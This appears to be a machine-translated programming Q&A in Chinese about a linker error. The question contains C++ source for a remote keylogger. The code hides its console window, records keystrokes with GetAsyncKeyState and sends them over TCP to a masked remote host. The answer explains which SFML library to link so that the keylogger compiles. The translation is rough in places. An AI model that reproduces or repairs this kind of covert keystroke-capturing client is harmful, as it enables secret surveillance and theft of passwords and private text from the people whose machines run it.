所以我正在为远程键盘记录工作教育目的。出于某种原因,当我尝试编译客户端时,我收到此错误(我使用SFML):
Error LNK2001 unresolved external symbol "__declspec(dllimport) public:
static class sf::Time const sf::Time::Zero" (__imp_?Zero@Time@sf@@2V12@B)
奇怪的是服务器编译得很好并且它使用相同的库。我无数次检查我的链接器设置,甚至尝试创建一个新项目,但没有成功。
以下是代码:
#include <fstream>
#include <Windows.h>
#include <SFML\Network.hpp>
#include <iostream>
void ConnectToHost(sf::TcpSocket* socket)
{
sf::Socket::Status status = socket->connect("*****", ***);
if (status != sf::Socket::Done)
std::cout << "Error connecting to socket." << std::endl;
return;
}
int main()
{
FreeConsole();
sf::TcpSocket socket;
ConnectToHost(&socket);
while (1)
{
for (char key = 8; key <= 190; key++)
{
if (GetAsyncKeyState(key) == -32767)
{
char key_sent[50] = { key };
socket.send(key_sent, sizeof(key_sent));
}
}
}
return 0;
}
我目前正在将sfml-network-d.lib链接到debug并将sfml-network.lib链接到发布,但是我也尝试将所有sfml动态链接库链接起来,这样就无法使用#39与它有任何关系。无论如何,我认为这只是一个我已经被忽视或忽视的粗心错误,但是因为我现在已经调查了几天,所以我想把它发布为一个问题。
答案 0 :(得分:4)
您的错误表明您的代码没有任何问题,这是链接的问题。您正在链接到sfml-network.lib,但您需要链接到sfml-system.lib才能获得sf :: Time。
sfml-network.lib只为您提供:Ftp,Http,IpAddress,Packet,Socket,SocketSelector,TcpListener,TcpSocket,UdpSocket。
SFML-network依赖于here所描述的SFML系统。每当使用SFML网络时,您都需要显式链接到SFML系统。
另一个快速说明是您提到了链接到动态链接库。您不应该链接到任何DLL,您链接的.lib实际上允许您导入这些DLL。如果你想做相反的事情(静态链接),那么你需要链接到* -s.lib变种。